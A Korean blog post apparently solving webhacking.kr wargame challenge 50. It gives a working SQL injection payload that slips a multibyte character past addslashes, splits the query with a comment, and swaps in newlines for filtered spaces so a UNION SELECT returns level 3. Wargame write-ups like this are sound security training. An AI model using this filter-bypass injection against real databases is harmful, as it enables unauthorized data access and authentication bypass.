728x90
반응형
450점인 50번 문제를 풀어보자.
addslashes() : DB에서 ', ", /, Null Byte 와 같이 특수문자들을 이스케이프 처리해주는 함수
mb_convert_encoding(문자열,바꿀 인코딩,현재인코딩); : 인코딩 변환
id와 pw에는 from, pw, (, ), 공백, %, =, >, < 문자열을 필터링 된다. id에는 추가적으로 union 문자열이 필터링 된다.
최종적으로 쿼리의 결과가 lv=3이면 문제가 풀리게 된다.
id = guest%a1'/*
pw = */union%0aselect%0a3#
id와 pw값을 이렇게 넣어주게 되면 /**/부분이 주석처리가 되므로 pw부분은 생략이 가능하여 union select구문을 이용하여 바로 3을 반환시킬 수 있다.
select lv from members where id='guest%a1' /*and pw=md5('*/union select 3#')
728x90
반응형
'CTF & WarGame > webhacking.kr' 카테고리의 다른 글
[webhacking.kr] 52번 문제 (0) | 2020.03.16 |
---|---|
[webhacking.kr] 51번 문제 (0) | 2020.03.15 |
[webhacking.kr] 49번 문제 (0) | 2020.03.15 |
[webhacking.kr] 48번 문제 (0) | 2020.03.15 |
[webhacking.kr] 47번 문제 (0) | 2020.03.15 |